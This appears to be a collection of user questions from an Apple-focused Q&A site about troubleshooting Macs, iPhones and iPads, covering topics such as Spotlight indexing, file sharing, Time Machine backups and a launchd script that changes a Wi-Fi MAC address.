texts: Suppose that we connect our flash USB drive to a MacBook, then eject this storage from Finder sidebar. Now I want to remount this storage without unplugging and replugging it into the computer, but the disk is no longer listed with diskutil list command.


texts: "Moving" MP3s from one mac book to the next?

texts:
I imported my private MP3 collection (basically ripped from the CDs I bought years back) on my Mac into iTunes some years back. On my "Music" directory, I basically see my folder private, where I put my MP3 files with 15 GB, and iTunes, also with 15 GB. I guess that is where iTunes stored all the data after import.
I use the Music app1.0.6.10 on macOS Catalina 10.15.6 now instead of iTunes.
I am about to replace that old Mac book with a new one. My plan is to  copy that private folder onto the new machine, and import again but I worry it won't that like "double" all the existing entries.
I saw this very old question, but I am rather looking for a more basic explanation about "option space", and best practices.
How do I get the same MP3s into Apple Music these days?


texts: Replace spaces in this shell script with %20

texts:
I have this command from the question Can automation service to get the parent folder path? but it has spaces in it.

When it's ran it looks like this:

File Path: file:///Volumes/Desktop/Fortigate/Fortigate 200D/Policies.txt
Parent Folder: file:///Volumes/Desktop/Fortigate/Fortigate 200D

This is exactly what I wanted except that it has spaces and it needs to have %20 instead of the spaces in the file path.

Could someone show me how I would edit the shell script below to replace these spaces with %20?

toTheClipboard="File Path: file://$1 Parent Folder: file://$(dirname "$1")" pbcopy<<<"$toTheClipboard"


texts: Custom Ringtones & AlertTones locations for macOS Sierra and High Sierra?

texts:
Since Yosemite the only way to add custom ringtones was to drop them into:
/System/Library/PrivateFrameworks/ToneLibrary.framework/Versions/A/Resources/Ringtones

Is this location still our only option for adding custom ringtones to macOS or is there a new ~/Library/ location available to users?

I've had no luck isolating anything within ~/Library that indicates that it is a ringtone storage location for Messages.app, etc.

Additionally, there is also an AlertTones folder in the above parent folder location:
/System/Library/PrivateFrameworks/ToneLibrary.framework/Versions/A/Resources/AlertTones

It appears that both of these will likely have to be remapped to something like ~/Music/Tones/Ringtones & ~/Music/Tones/AlertTones


texts: Can I have audio from my PC output to Bluetooth while my video outputs to AirPlay?

texts:
As it stands, my Apple TV is hooked up directly via HDMI to my television. I have 2 amazing speakers that I use bluetooth to connect to and play from when I'm NOT using AirPlay. When I switch to AirPlay, the sound comes from my TV speakers which sound terrible, instead of my higher-quality bluetooth speakers.

Can I cast my MacBook's video stream via to the TV via AirPlay, while routing the audio through Bluetooth instead of my TV Speakers?


texts: MacBook Pro only stays on for less than a minute

texts:
This morning when I woke up my computer it turned off itself. Now it won't stay on for more than a couple minutes. The computer will boot up normally, but soon it turns off again. When it turns off, I hear a tiny clunk that I think is the hard drive, but I'm not entirely sure.

What can I do to troubleshoot the problem myself?

This is about a MacBook Pro 13" Early 2011.


texts: Finder File Sharing: How to access the hard disk?

texts:
I use an iMac and a MacBook in my local network. I want to access the iMac's hard disk from the MacBook via the Finder's File Sharing.

On both the Macs, I have a user account with the same name and password. Both accounts have local administrator rights.

If I connect from the MacBook to the iMac using with the Finder, I can only see and access the Home directory of the user on the iMac whose credentials I entered. I cannot see or access other directories like /Applications/.

How can I access all contents of the iMac's hard drive?


texts: Should I buy an iPod touch in Canada in July or wait 'til September and buy it in Europe?

texts:
My title is pretty clear: I'm going in Canada for a trip with my father in July and I wonder if I should buy a new iPod touch there or wait until the new one comes out around September and buy in Europe? The 8 GB version costs 199€ (roughly 256 Canadian dollars) in Europe and 199 Canadian dollars in Canada (roughly 154€).

I'm going to use it mainly as a gaming and Internet device. I might listen to music with it from time to time but I won't take the 32 GB version only to have my entire music collection on it.

So, given my use of it, will the new version be worth the extra 45€ (assuming the price won't change)?


texts:
When I try to send an email using an installed S/MIME certificate on iOS, I get an alert that says:

  Unable to Sign: You can't send signed messages because a signing identity for the address could not be found. Go to the advanced settings for this account and choose a signing identity.

I have a signing identity chosen in the S/MIME settings for the account, and I have tried exporting my private key from my Mac's keychain many different times. The certificate/key match the address I'm sending from. Am I doing something wrong?


texts: Copy settings and preferences to new mac

texts: I have a Mac at the office and will be buying a new one for home. Is there a way to move my preferences and settings from the old computer to the new one?


texts: How to share .bash_profile between different users in the same group?

texts:
I have searched by google but cannot find a right solution.The scenario is like this: in my mac, there are two users, lets say user1, user2. these two users are in the same group, which is staff actually.

Now in user2, there is a .bash_profile for user2's terminal, can i share this profile with the user1? I know i can copy one from user2 to user1. but if i copy one, when there is something changed in user2, i have to copy it again. I wonder whether there is a way to share it with user1?


texts: How to sort folders based upon the last modification dates of the files contained within them?

texts: I am on Catalina and I need to sort folders based upon the last modification dates of the files contained within folders inside a directory. When I do the simple Date Modified sort, it only shows Folder level changes, as so a folder may show as 8/11/2018 but the files within have been modified more recently. Is there a way to sort folders by the last modification date of the files contained within? Thanks.


texts: Deleting a suspicious malware (imklaunchagent) in Mac

texts:
I have a MacBook Pro (macOS Mojave) laptop and have recently noticed a suspicious process in Activity Monitor with this name : imklaunchagent

I checked this folder:
/System/Library/Frameworks/InputMethodKit.framework/Versions/A/Resources/imklaunchagent and it seems imklaunchagent and its related files cannot be removed. I tried to remove it via Terminal and this message showed up: "Operation not permitted". However, in "Security and Privacy" of "System Preferences", I chose Terminal to have full disk access, still can't delete the file and the same message appears.

I installed the free version of Combo Cleaner and it detected other viruses, none of which are imklaunchagent. Is imklaunchagent a malware? How can it be deleted?


texts: How can I change my desktop background? I've tried everything with no luck

texts:
Here's a recording of what's going on:
https://i.imgur.com/fBIt1rJ.mp4
This, as you can see, is not ideal. I've also tried it with my own images as well to no avail.
I've tried just about every site on the first page of this Google search.
I have tried

osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/path/to/file.png"' and then killing Dock with killall Dock
deleting ~/Library/Application Support/Dock/desktoppicture.db and killing Dock again with the same command.  After this, I tried to set the desktop picture with sqlite3 ~/Library/Application\ Support/Dock/desktoppicture.db "update data set value = '/path/to/file.png'"; and then killing Dock again.

Still no luck.


texts:
I last iTunes Apple have changed algorithm of displaying picture for Artist. How does it works? Why almost all my Artist's doesn't have artwork?

As I see Alice Cooper have the image:

But why I can't see it in my list?

Update: As I see I can not perform "Show in Apple Music" for this artists. Can it be related with that fact that I have created my own album (Collection) for this artist?


texts:
After installed JDK7, I disabled Java 1.6 in Java Preferences. Then I found the system cannot launch jars by new JDK 1.7, so I want to reenable 1.6, but I cannot relaunch preference again, it told me No compatible version of Java 1.5+ is available.

What should I do to bring it back?


texts: Where do terminated incomplete downloads go when using firefox?


texts: Visual bug in Dock after macOS Mojave installation

texts:
After installing the macOS Mojave update, I get a strange visual bug in the Dock from time to time. It disappears when I click on something in the Dock or if I try to make a screenshot (that's why I had to capture the screenshot using camera instead of screenshots).

There is a horizontal line between the Mail and Calendar app icons and one in the middle of the Notes icon:

There is a horizontal line in the middle of the ForkLift icon:

Note: When installing the macOS Mojave update, my Mac got stuck on the analytics screen (like described here: Mojave install froze on "analytics", successful force reboot- but did it miss anything?) and I had to restart it manually. Maybe that has corrupted my installation?
I'm using macOS Mojave 10.14 on a 2014 MacBook Pro.
Does anyone know how I can fix this?
Edit:
It looks like that this bug isn't linked to specific icons on the Dock. It appears randomly and disappears when I click on the dock. It looks a bit like it only appears next to active apps most of the time. It's still present after several restarts of my MacBook.

Edit 2:
I was able to reproduce this bug. I appears every time I minimize a window. You can see it here:

You have to look closely to the Postman icon (the 6th from the left), the Mail icon (10th) and the Notes icon (12th) after I minimize Chrome. You can see the bright square until I click on the Chrome icon again.
Edit 3:
I updated my Mac to 10.14.2 and the bug still appears.


texts: Force hibernate (deep sleep) in OSX 10.8(.2)

texts:
How can you force the computer (in this case a laptop [rMBP]) into the "hibernate" state where it writes the RAM to the HDD/SSD so that the battery can last for the advertised 30 days.

I know that this can be achieved by waiting 70 minutes (4200 secs) after it is in sleep mode (if you haven't adjusted the default time settings), but is there a way to force it into this state?

I am having wake problems, and want to test this state of waking from.


texts: Help me getting my system preferences to work again

texts:
Since the previous update (the one before BigSur), my system preferences were terrible slow. Since the update to BigSur, the systempref's stopped working at all.
The error says: "Preferences error The 'x' preference pane cannot be loaded"

This happens on all preference panes, here is a video explaining the problem.
I've tried

SMC reset (putting off, disconnecting cable for a while, reconnecting and restarting)
PRAM + NVRAM reset (shut down, hold option, cmd + P + R)
Deleted the systemprefs .plist file and restarted

Nothing worked so far, I can't connect my bluetooth mouse, headphones, and all the other settings. Can some one help me out with this issue?
-Update-
Okay, I guess I somehow found the error...
I logged in to the new account again. And look at this...
https://youtu.be/kapOvWY8xXE
When I go to the apple icon in the top left corner, it gives me another version of systemprefs. When I go to the systemprefs trough the applicationsfolder, I've got the 'new' systemprefs witch works as it should... The question now is, how can I override the 'old' systemprefs with the 'new' in the top-menu.


texts:
Setup

I've got a MacBook Air (13-inch, 2017)

Problem

When I type in the name of an application, Spotlight doesn't show the application. When I do sudo mdutil -E /, It says the following,

  Error: unknown indexing state.

When I Select System Preferences, Click the Spotlight pane, select the Privacy tab and then click the Add (+) button and try to select anything, It says

  Privacy List Error,
   the item couldn’t be added or removed because of an unknown error.

What I tried

I've tried https://www.macrumors.com/how-to/rebuild-spotlight-search-index-on-mac/,
and Spotlight re-indexing takes too long or doesn't work. sudo rm -R .Spotlight-V100/ says

  No such file or directory

sudo /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -kill -seed -lint -r -f -v -dump -domain local -domain system -domain user -domain network

does a lot of stuff,

sudo rm -R .Spotlight-V100/ also says

  Error: unknown indexing state.

sudo mdutil -E -i on /
says

  Error: unable to perform operation.  (-400)   Error: unknown indexing
  state.

How it happened

When I tried to download the macOS Catalina update, the mac got stuck in an endless loop of trying to update and then failing, forcing it into recovery mode, I tried to stop the update by using this link, https://www.mklibrary.com/technology/macos-sierra-stuck-endless-rebooting-loop/ but nothing worked, so I had to fully reinstall macOS, Spotlight now doesn't show any files or applications at all. It only shows other stuff like emails, Dictionary suggestions, etc.

(Note, I've also made sure to check all the categories in system preferences)

I've tried,

sudo mdutil -a -i off,

sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist

sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist'''

sudo mdutil -a -i on

It worked, however, it stopped working again afterwards when my computer shut down.


texts:
My problem is same as with this question
-1006F error message when trying to recover mac

I have follow that question which direct me to this thread

https://discussions.apple.com/message/22273842#22273842

from this link it says I need to buy new harddisk, so I bought a new one and installed it.

Now when I boot up the macbook it automatically goes in to internet recovery, but again in middle of loading I still get the -1006f error again?


texts:
I use VLC in command line mode on macOS and would like to set the volume from the command line as well. On a Linux system this can be achieved by using the option

--alsa-gain= float value

Note that

--volume

is deprecated. Does anyone know how to achieve volume control in macOS?


texts: Is there a built-in way to both save and copy a screenshot to the clipboard at the same time?

texts:
From what I've seen it seems like the basic hotkeys do not allow such a thing, besides if I use the following command on the terminal :

screencapture -ci somepath/screenshot.jpg

It only copies the screenshot to the clipboard but doesn't create the file screenshot.jpg at all (-c copies to clipboard and -i makes the user select a rectangle region to capture)

Thanks for your help.


texts: My Mac wont connect to a new wifi network

texts:
So I moved to a new place for my university and I attempted to connect to the wifi network. My HP laptop was able to connect instantly once I put in the wifi password. My Mac recognizes the network but when I put in the same password it says the password is invalid.

I have checked and double checked to make sure I have the right password a million times. Any reason why it's not connecting? My OS X version is 10.6.8.


texts: Is it ok to delete iOS Files from my macbook pro?

texts:
I have in my MacBook pro a folder called MyName iPhone. Which is taking up about 21gb of space.

It seems like a backup of the phone. It says last accessed: 2 years ago which happens to be when I go my MacBook pro.

What happens if I delete this folder? Is it recommended? What will I lose? Will my phone's data be lost or unrecoverable?


texts: Outlook 2011: Keyboard shortcut to assign categories?

texts: In Outlook 2011, is there some way to assign keyboard shortcuts to specific categories, so I can categorize messages without having to use the mouse to select the drop-down from the Categories menu in the Ribbon?


texts: Keynote Mac, delete cropped image to reduce file size without losing image resolution quality

texts: I have lots of high-resolution images inserted into the Keynote which makes the file very large. Image masking in Keynote is very convenient for me. But I only want a small corner of the images shown in the slides, and I don't need the cropped part anymore. Reducing file size under the File menu loses image quality and the cropped images are still there. Is there any way to delete the cropped part to reduce file size without losing image resolution/quality?


texts: iPad still plays the music when muted - how can I truly turn off sounds?

texts: When I mute the iPad with the buttons on the side, the iPad is still playing the music quietly. This is really annoying and I would like to turn the sound completely off. Is there a solution to this?


texts: Location of Message Attachments in iOS 6 Backup?

texts:
I'm trying to get all my Messages (not E-Mail) and connected attachments out of a iOS 6 backup. I know there are tools like Wondershare Data Recovery for iTunes but they are not cheap and I'm trying to do this by my self with a self written python script.

I already know that the backups are stored here:

  ~/Library/Application Support/MobileSync/Backup/

And in a specific backup (XY) the messages are stored in this file:

  ~/Library/Application
  Support/MobileSync/Backup/XY/3d0d7e5fb2ce288813306e4d4636395e047a3d28

This is a SQlite database file, so I can access it in different ways (e.g. SQLite Manager add-on for Firefox).

Now where are the attachments? In the messages database file above I found a table called "attachment" and "message_attachment_join" which helps to get the right attachments to a single message. But the path in "attachment" is like:

  /var/mobile/Library/SMS/Attachments/5D58C5EE-8F51-445C-A3FC-D6X94B6B6932/IMG_1230.png

I think this is the path on the iPhone. Where are all this files backuped to? In a backup directory I found three big files about 1.5 to 2.5 GB. Maybe they are stored there? But in which format, as a ZIP or TAR?

Does somebody know where I can find this files?


texts: Every day I have to add {quote} tags at the start and end of text from clipboard. It happens because I add stacktraces to our Jira and these stacktraces should be introduced with {quote} tags.  Is there any way to do it automatically? For example via automator or something else?


texts: Recently we have moved my HDMI cable to use on a different TV and when I brought it back to my room and used it to connect my MacBook Pro to my Hiteker TV, my mac recognizes the TV but the Tv doesn't recognize the Mac, it says no signal. I've tried putting the cable in the other HDMI port and the same thing happened. I have also unplugged it while both are on. Please help.


texts: Can I install or update Mac App Store apps through a command line using terminal?

texts: Is there an official way provided by Apple or a workaround so that I can install or update Mac App Store apps through Terminal?


texts: Apple Thunderbolt or HDMI for external monitor

texts:
Is there anybody who can answer me this question?
I have a Macbook Pro Retina 15" quad i7 etc and I use some programs/applications wich need a lot of cpu and also the macbook heats up like hell.

I want to extend my display with a 23 or 27 IPS monitor.
Which is the best way, is it through HDMI or Thunderbolt to DVI or VGA adapter.
The main thing is that I use almost all the resources/performance to run those programs..so ...which of the two options does not affect my CPU/RAM and graphics performance because I don't have any left.


texts: truecrypt 7.1a requires Mac OS X 10.4 or later on Yosemite 10.10

texts:
After reading articles about the state of Truecrypt in February 2015, I decided to download the last stable version of Truecrypt that allows full usage of Truecrypt: that is, version 7.1a

  7.2 version that can only be used to view, but no longer to create new, TrueCrypt volumes.

see https://www.grc.com/misc/truecrypt/truecrypt.htm

I then proceeded to install this on my Mac, running on Yosemite 10.10

But I got the error message "truecrypt 7.1a requires  Mac OS X 10.4 or later", see below.

I guess it's simply a schoolboy error from a developer of the Truecrypt team, as it considers 10.4 being above 10.10, or maybe it's rather Apple who messed up & should have consistantly used 2 digits after the dot (i.e. use 10.04 rather than 10.4).

In any case, I find myself unable to install Truecrypt. Anyone found a solution for this?


texts:
I upgraded the SSD in a Mac Mini and I'm reinstalling Mojave via internet recovery.

The disk is completely erased right now, and when creating a new partition it asks me if I want to choose APFS or APFS (Encrypted).

I want full encryption on the drive. Should I go with APFS then enable FileVault later on, or simply partition the disk with APFS (Encrypted)?


texts: Does Apple Watch Auto Unlock need network access and Two-factor authentication?

texts:
I am thinking about getting an Apple Watch. One of the most interesting features is Auto Unlocking of Mac. Does Apple Watch auto unlock need network and two-factor authentication?

The AirDrop function says it needs open Wi-Fi. I used to think that it needs a network. Later I found that two devices need not be connected to a common access point for AirDrop to work. So I think network isn't necessary.

Another problem is the Two-factor authentication. Is it necessary? My password is very secure and I don't want to enable this feature. Apple's help page says Make sure that your Apple ID is using two-factor authentication instead of two-step verification. I don't understand what this sentence means. Should Two-factor authentication be turned on or must not use two-step verification?


texts: On iPhone, can I tell if group text messages were delivered?

texts:
The question is in the subject.  Iphone 6 plus - ios 8.  I know I can tell for individuals, but not for groups - or at least not obviously.

Can I?


texts: iPhone 4 disabled after several failed password attempts?

texts:
My friend has an iPhone 4. Yesterday it got disabled after several failed passcode attempts. When you press the turn on/off switch or the home screen button, the following message appears:

  iPhone disabled. Connect to iTunes.

The problem is that it was synced with a computer she doesn't own anymore. And she doesn't want to lose any of her data. I wonder if it could be recovered without any data loss.


texts: How to Backup from OS X to a Windows Home Server

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I have a Windows Home server in my basement that I've been using as a backup solution when I had a house full of Windows machines. Since making "the switch" to Mac, I haven't been able to find a backup solution I'm happy with.

I tried CrashPlan, but it's way more complicated than I really need. When I was using Windows machines, I just used SyncToy 2.1 and copied files to the server on a predefined schedule. What is out there currently that will let me do something similar on a schedule?

I need a program or script that will let me copy files from specific folders to a Windows server. Keep in mind I'm talking about the old Windows Home Server, not the 2012 version.

I'm not really married to keeping Windows Home Server, but I'd prefer not to have to install a completely new operating system just to backup files.


texts:
Alternatives App Stores (iOS) : Security risks

Hi, I recently downloaded an iOS app from an unofficial store (GBA4iOS, from Builds.io website).

Before installing any application, you have to install the developper profile on your device.

Is there any security risks by using those apps?
I mean, can they bypass Apple restrictions? Access to Photos, Camera, GPS... without user authorization.


texts: In Mac OS how do I disable the Apple menu bar from sliding down while in Full Screen; or set the hover time to be a longer duration

texts: I see the topic has been brought up a few times, but since there does not seem to be a workaround, I am wondering if I can set the hover time to be a longer duration.


texts: Secure erase trashed files in El Capitan

texts: I accidentally emptied my trash (not secure emptied it) but there were some files in there that I should've properly erased. Is there a way I can bring them back to properly erase them?


texts:
My Mail has the Quit menu item disabled, and it doesn't allow me to quit it.

I know that similar question has been asked here before, but it doesn't have any positive answer.

It happens very sporadic so I cannot understand what causes it.

The only way to quit Mail is to force-quit it in Activity monitor. After that mail works normally.

What I remember from day before is that I did try to move a group of mail to another folder using the rules and that got stuck.

Looking in the Console I find this as most recent mail activity. There is a huge report attached to it, so I won't publish it here unless requested.

  8/1/13 9:16:44.356 AM sandboxd[6335]: ([6153]) Mail(6153) deny file-issue-extension

Also looking in the Console from day before here is what Mail reported.

MBA with OS 10.8.4 and Mail 6.5


texts: Using launchd to change MAC address when joining a specific Wi-Fi network

texts:
I'm trying to use launchd to solve the above-mentioned.

I have a networkchange.plist file as follows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" \
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>NetworkChange</string>
  <key>LowPriorityIO</key>
  <true/>
  <key>ProgramArguments</key>
  <array>
      <string>*some path*/networkchangeaction.sh</string>
  </array>
  <key>WatchPaths</key>
  <array>
    <string>/etc/resolv.conf</string>
    <string>/var/run/resolv.conf</string>
    <string>/private/var/run/resolv.conf</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Using sudo launchctl load -w /Library/LaunchDaemons/networkchange.plist after moving it to it's place it executes my bash script just fine when I switch Wi-Fi networks.

My networkchangeaction.sh script:

#!/bin/bash

lock="/tmp/networkchange.lock"
triggerssid="someSSID"
macaddress="7c:c5:d7:f2:09:23"
ssid=$(networksetup -getairportnetwork en0 | awk -F": " '{print $2}')

if mkdir "$lock"; then    # my attempt at solving the infinite call loop
    trap 'sudo rm -rf "$lock"' 0    # $lock is kinda like a mutex
    if [ "$ssid" == "$triggerssid" ]; then
        sudo ifconfig en0 ether $macaddress    # change MAC address
        sudo ifconfig en0 down    # restart wifi interface
        sudo ifconfig en0 up
        sleep 2                   # wait for it to restart, then join $triggerssid
        sudo networksetup -setairportnetwork en0 $triggerssid *wifi wpa2*
    fi
else
    exit 0
fi

My problem is that the script is called infinitely as it rejoins the network after changing the MAC address. I tried solving this with a "mutex" (as recommended here), so that only one instance of this script can run at a time, but somehow it still gets called continuously.

How could  I solve this problem, so that the script does not trigger itself?


texts: How can I save SSH Bookmarks in Terminal?

texts:
I've recently become infatuated with TotalTerminal and am tempted to switch from iTerm back to Terminal just so I can use it, except that I rely heavily on a half dozen SSH bookmarks in iTerm.

Is there a way, or extension, to save SSH bookmarks in OSX's Terminal? (or a way to use iTerm like TotalTerminal's quick visor


texts:
While uploading pictures to Instagram I am getting the following error:

  Could not open photo. Please try again in a moment

The phone storage seems to be low, deleting pictures and restarting the have not been helpful.


texts: Left third of iPad screen is blocked with bookmarks column

texts: ⅓ of my screen is blocked on the left by a Bookmarks column. Is there a way to remove it?


texts: I get an Authentication failed error when I try to log in to the Youtube iPad app. But the same username and password work on Youtube Safari and other browsers.


texts: Send a notification to my iPhone when a website's content changes

texts:
I would like to be notified quickly (ideally within an hour) if a certain website (that is not under my control) changes. Any changes to the HTML should trigger a notification.
Since I am not always monitoring my email but I have my iPhone on me most of the day, I am probably looking to receive a push notification or SMS message once that happens.
Any recommendations for an app or service that can help me with that? I am willing to pay for it.


texts: I have a Mac that doesn't have iPhoto installed on it, which I use for syncing with my iPhone. Is there any way I can copy images from my phone to my Mac (other than email) without purchasing a copy of iPhoto?


texts: Re-sync messages between iPhone and computer after period of not syncing them?

texts: I have recently re-setup the message app on my iPhone to sync with the messages app on my MacBook. New messages are now appearing in both places, however messages that had occurred before syncing these two devices do not appear on my mac. Is there a way to have my pre-sync conversations to appear in Messages on my mac?


texts: How can I prevent MBP shocks without original three prong extender?

texts:
I no longer have the original three prong extension cord for my MBP, and am experiencing the shock issue described by many other users.

I purchased a three prong travel plug and tried that, but it did not solve the problem.

Is there anything else I can do to solve the problem? I don't have access to an Apple Store, and can't modify the electrical outlets (if there is a grounding problem, for example).

Thanks.


texts: Can the new 2016 MacBook Pro 13" without Touch Bar drive a 4K display?

texts:
I currently have an old MacBook Pro 15" Retina from 2012, driving two monitors, a 24" 4K monitor and a 21.5" 1080p monitor.

This setup works, except for one catch - the 4k monitor refreshes at 30Hz, which makes it a bit laggy.

I was thinking of getting the new MacBook Pro 13" base model with 2 Thunderbolt/USB-C ports. Since I have 2 external monitors I figure I need the USB-C to Power + USB + USB-C adapter too.

Given I get these, will I be able to now drive my primary 4K display at 60Hz?


texts: Is it possible to hack facetime and text messages from a iphone you do not own.  We have the same apple id log in for both facetime and itunes.  There are records of facetime calls, text messages and emails on one of our iphone which we did not make.  How is this possible and what can be done to stop it?


texts: Is there any way to randomize the alert sound effect in Mac OS? In system prefs I am able to select which sound effect I want to hear. Is there a way for the system to choose a random sound each time?


texts: How to make ''sudo launchctl limit' change permanent?

texts:
I have a background job that failed due to too many open files error.

To fix it, I  have to kill the job, then run the following

sudo launchctl limit maxfiles 10240 10240

before restarting it.

Is there any way I can make the launchctl limit maxfiles change permanent?


texts: Maximise to half screen and choose other window

texts:
I might have imagined it but I think I just did something to maximise a window to half fullscreen on a new desktop and then was presented windows to show on the other half, very much like windows does. I'm not sure howe I did it but would like to know how.

I do have Better touch tool which has sort of that functionality but it's not the full screen desktop version - it does the equivalent of Option clicking the green button.

Anybody have any ideas how to actually do this? (I'm on High Sierra, believe it or not).


texts: Can I change a Mov file of one Codec type to a Mov file of another Codec type

texts:
I have a lot of MOV files that are "Codec: Timecode, AAC, Apple ProRes 444" and "Color profile: SD(6-1-6)" and I want to change them to "Codecs: H.264, AAC" and "Colour profile: HD (1-1-1)" but I can't find a combination of switches in ffmpeg to do it.
So basically I want to change a folder with a list of mov files in it from one Codec & Colour profile to another.
Is there a way of doing this?


texts:
I have an old MacBook Pro lying around that a friend left with me. I believe it is the 4.1 model, it should be the last one before the Unibody models came out (can't access About This Mac and the serial number rubbed off as well). I knew it wasn't working before but I tried booting it up to see if I could get it working.

Anyways, it seems to boot up fine but the keyboard and trackpad seem non-responsive. It does say Remote Mouse in the top toolbar, I think my friend installed some software to use the mouse through her iPod, but I would think the trackpad would still work. Also, it's weird because it does search for WiFi hotspots and finds them and also when I press the power button the shutdown menu comes up.  My friend mentioned there may have been a hard drive issue.  Do you guys know what might be the problem and if it is fixable?

On a side note, I also have a 15" late 2008 (5.1) model that I use but the optical drive is broken. Would I be able to swap the drive from the broken Mac to my newer one?


texts: Poor sluggish performance after upgrading to Yosemite

texts:
I am facing very sluggish performance in my MacBook Pro after I upgraded it to Yosemite. Mine is 8GB, i7 mid 2012 system.

Usually I find my unused RAM <25MB even if I work in terminal, say around 8 Safari tabs open (excluded fb) and some light-weight programming editor open.

I remember I never faced such sluggish performance in Mavericks or Mountain Lion.
I have closed all unwanted graphical effects, but still no improvement on performance.

Any suggestions?

Below is the screenshot of my activity monitor:

Please note my Preview was closed while I took this shot; which is in a way super weird.

CPU usage:


texts: How to configure my apple remote with custom actions, including sleep & wake up?

texts:
This is basically a follow up of MSDOS's question. I've also came around same things he did and I am currently using iRedLite with great success. It is in almost all aspects even better than the already awesome RemoteBuddy - except it doesn't grab the process as good as.

Any way, I've figured an simple way to put the display to sleep with apple script and easily assigned it to holding the play button. And it works...

Except that it also crashes iRedLite. I think it enters in a dead loop or something and it just stop responding. But I believe even if it didn't crash, it still wouldn't work to wake up the display. That is because even if I enter sleep using CTRL+SHIFT+EJECT, I can't use the remote to wake up (when iRedLite didn't crash).

Meanwhile if I simply turn off iRedLite, I can put it to sleep and / or awake using any combinations with the keyboard shortcut or remote buttons. Holding the Play button is the default behaviour to put display to sleep.


texts: MacBook kernel panic error screen on boot

texts:
This MacBook had milk spilled on the keyboard a few months ago. It's continued to work, with a few of the letter keys no longer functioning, up until this point. Now, upon start up, the MacBook just displays an error screen and performs no other function.

The error message:

Is there any saving this MacBook from becoming an expensive paper weight??


texts: Photos and iCloud cannot see photos on iCloud safe to delete?

texts: I want to delete photos from my Mac to free up space. I've never gone to iCloud before to check on my back ups and just assumed they occurred. However when i go to iCloud it shows nothing but find phone. Is there a way to see photos? The only question i see that actually addresses this is negatively voted on, and the only answer did not address the Question but was geared toward organizing library and space on cloud. I just want to know my stuff is there. How? if I cannot see it??


texts:
I have a MacBook Air 11', Early 2014 with a 1,4GHz CPU and 4Gb of RAM. I was running MacOS 10.12 without any issues, everything was fast and responsive.

Then I upgraded to MacOS 10.14, skipping MacOS 10.13. Since then, my MacBook became very slow and irresponsive. The round, colored spinning icon indicating that there is something going on is now almost omnipresent. On MacOS 10.12 I saw it rarely. Switching between apps was smooth before, now it's painful. The MacBook feels always hot, even with just the browser open. The battery burns through a lot faster.

Do I have a messed up system? If so, why didn't I have issues before upgrading to Mojave? Is there anything I can do about it?

Or is my MacBook simply too slow to run Mojave decently? Apple lists it among the devices supported by Mojave. I'm interested in the experience of other users of the same model.


texts: MacBook Pro 13 will not recognize battery and will not charge after battery replacement

texts: Did not start my MacBook Pro 13 for 5 weeks. when I tried it was completely dead and would not start up even with charger on it. I ordered a new battery and now it works when pugged into charger but won't charge. Shows battery at 0%. it is like it doesn't recognize the battery and I have reset and still does nothing for the charging aspect. as soon as I pull charging cable out of port it goes dead again


texts: How do I make an ISO image out of a folder using Toast?

texts:
I've seen guides on how to do it using Disk Utility and the hdutil command but when I search the net for something that involves using toast, I came up blank.

I've looked around toast (version 11) and I don't see a way of doing it.

Can you help? Thanks


texts:
Right now, I am planning to have another account on my OpenDirectory on our Mac Server. How can I add another Directory Admin on OpenDirectory?

I already added a user but I thinks it's not it. I already read some articles about adding users but I can't find one about Adding Another Directory Admin on OpenDirectory.


texts: How do I get technical information on my video card? (Model, RAM, Mhz, etc)

texts:
I'd like to get as much technical information about my MacOSX's video card as possible... technical details, even serial number if the card has a unique identifier.

I intend to use this information do research what GPU specific commands I can run on a given laptop.


texts: Uploading Time Machine backups.backupdb to cloud service?

texts:
I'd like to store some of my time machine backups on AWS Glacier Deep Archive so I can have an off-site backup in addition to my external hard drive.
However, I know that time machine uses hard links to save on storage space. Is there some way I can upload my time machine backups to Amazon Glacier (or any other cloud service) while still using the same amount of space?
Ideally, I'd be able to download only part of the time machine backup at a time (e.g. one version when I need it), but if not, some way to create a backup of the entire backups.backupdb would also suffice.


texts: Error on EL Capitan Installation This copy of the Install OS X El Capitan application can't be verified. It may have been corrupted or tampered

texts:
I have created bootable pendrive using https://support.apple.com/en-in/HT201372
I am trying to dump ELCapitan on my mac.
but it throwing error

This copy of the Install OS X El Capitan application can't be
verified. It may have been corrupted or tampered with during
downloading

What i tried :
Setting date in terminal "date 0202020216", date 0101010116,  ntpdate -u time.apple.com
all didnot works.
P.S.

my ELCapitan .dmg is correct & downloaded from official Apple site.
hdiutil verify /Applications/Install\ OS\ X\ El\ Capitan.app/Contents/SharedSupport/InstallESD.dmg shows verified OS.


texts: Is the iPad 2 any better at handling large PDFs than the original iPad was?

texts:
We know that iPad 2 performance is higher than the performance of the original iPad  (Safari, Games, etc).

But whether iPad 2 user experience is better in opening and reading heavy-weight PDFs than original iPad?

UPDATE: Consider heavy-weight pdf is a magazine or pdf book with a large number of illustrations, so there is almost no scripts, flash, etc — just pure text with links and images (e.g. pdf files about 80Mb).


texts: How to recover 'Reminders' wiped out by Mountain Lion?

texts:
I had a large list of reminders in OSX (Mountain Lion) sync'd to iCloud (i.e. my iPhone). While editing the list on the Mac and trying to delete (not 'checkbox') one work item, I accidentally deleted all the items in that list! Having a horrible delete user flow didn't help :(

I presume there is local copy of the reminders database on my Mac - which is then sync'd with iCloud. I would like to recover that copy (from Time Machine, backed regularly!) so I might be able to salvage the list of (important!) reminders. Does anyone know where that file is stored on the file system?

Any other suggestions to restoring my previous copy of reminders or undoing the delete? The obvious,  undo doesn't work. Not sure why...


texts: What is the best way to generate a Yosemite or Mavericks Install USB flash drive?

texts:
I could probably copy the contents from the package, but what is the best way to create an install Flash Drive for Mavericks?

Of course ideally the drive should be bootable.


texts: Blank windows in some apps in macOS as guest OS in Parallels virtual machine

texts:
When running Parallels 12.2.0 with macOS Sierra as the guest OS, I see windows that are blank, partially blank, or scaled improperly (zoomed in, magnified) in some apps such as non-Safari web browsers (Firefox, Opera, etc.). The behavior is consistent, either working properly all the time or improperly all the time.
